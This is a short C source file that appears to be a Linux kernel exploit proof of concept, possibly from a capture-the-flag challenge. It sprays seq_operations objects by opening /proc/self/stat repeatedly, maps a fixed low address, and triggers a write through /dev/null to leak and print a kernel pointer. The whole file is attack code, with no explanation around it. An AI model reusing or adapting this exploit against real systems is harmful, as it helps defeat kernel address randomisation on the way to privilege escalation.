#define _GNU_SOURCE        
#include <unistd.h>
#include <sys/syscall.h>   
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#define AADR 0x30000
unsigned long long *evil;
void spray(){
    for(int i=0;i<10;i++){
        int victim = open("/proc/self/stat", O_RDONLY);
    }
}

int main(){
    char leak[0x20];
    int devNull = open("/dev/null",0);
    if(devNull == -1){
        fprintf(stderr,"Error in open('/dev/null',0)\n");
        exit(EXIT_FAILURE);
    }
    spray();
    puts("spray seq_operations done!");
    if((evil = mmap((void *)AADR,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
        perror("mmap failed!");
        exit(0);
    }
    memset(evil , 0 , 0x1000);

    syscall(SYS_write,devNull,AADR,8);

    sprintf(leak,"%#lx",*(unsigned long long *)AADR);
    
    puts(leak);
    close(devNull);
    return 0;
}